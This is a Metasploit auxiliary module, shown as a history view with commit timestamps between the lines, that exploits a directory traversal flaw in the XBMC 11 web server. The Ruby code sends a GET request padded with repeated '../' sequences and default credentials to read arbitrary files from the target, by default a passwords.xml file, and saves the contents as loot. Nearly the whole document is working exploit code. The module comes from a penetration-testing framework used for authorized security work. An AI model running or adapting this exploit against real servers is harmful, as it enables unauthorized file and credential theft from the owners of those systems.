metasploit-framework/modules/auxiliary/gather/xbmc_traversal.rb

92 lines
2.8 KiB
Ruby
Raw Normal View History

2012-11-04 02:19:48 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "XBMC Web Server Directory Traversal",
'Description' => %q{
2013-02-25 19:44:11 +00:00
This module exploits a directory traversal bug in XBMC 11, up until the
2012-11-04 nightly build. The module can only be used to retrieve files.
2012-11-04 02:19:48 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton
2012-11-04 02:19:48 +00:00
'Lucas "acidgen" Lundgren IOActive',
2013-02-21 20:48:41 +00:00
'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
2012-11-04 02:19:48 +00:00
],
'References' =>
[
['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'],
['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'],
['URL', 'http://www.ioactive.com/pdfs/Security_Advisory_XBMC.pdf'],
2012-11-04 02:19:48 +00:00
],
'DisclosureDate' => "Nov 4 2012"
2012-11-04 02:19:48 +00:00
))
register_options(
[
Opt::RPORT(8080),
OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']),
OptInt.new('DEPTH', [true, 'The max traversal depth', 9]),
OptString.new('USERNAME', [true, 'The username to use for the HTTP server', 'xbmc']),
2013-02-23 22:14:30 +00:00
OptString.new('PASSWORD', [false, 'The password to use for the HTTP server', 'xbmc']),
2012-11-04 02:19:48 +00:00
], self.class)
end
def run
2012-11-04 02:19:48 +00:00
# No point to continue if no filename is specified
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
print_error("Please supply the name of the file you want to download")
return
end
# Create request
traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep
2013-02-23 15:24:04 +00:00
begin
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{traversal}/#{datastore['FILEPATH']}",
2013-03-01 17:59:02 +00:00
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD'])
2013-02-23 15:24:04 +00:00
}, 25)
rescue Rex::ConnectionRefused
print_error("#{rhost}:#{rport} Could not connect.")
return
end
2012-11-04 02:19:48 +00:00
# Show data if needed
if res
if res.code == 200
vprint_line(res.to_s)
fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'xbmc.http',
'application/octet-stream',
datastore['RHOST'],
2012-11-04 02:19:48 +00:00
res.body,
fname
)
print_good("File saved in: #{path}")
elsif res.code == 401
print_error("#{rhost}:#{rport} Authentication failed")
2012-11-04 02:19:48 +00:00
elsif res.code == 404
print_error("#{rhost}:#{rport} File not found")
end
else
print_error("HTTP Response failed")
end
end
end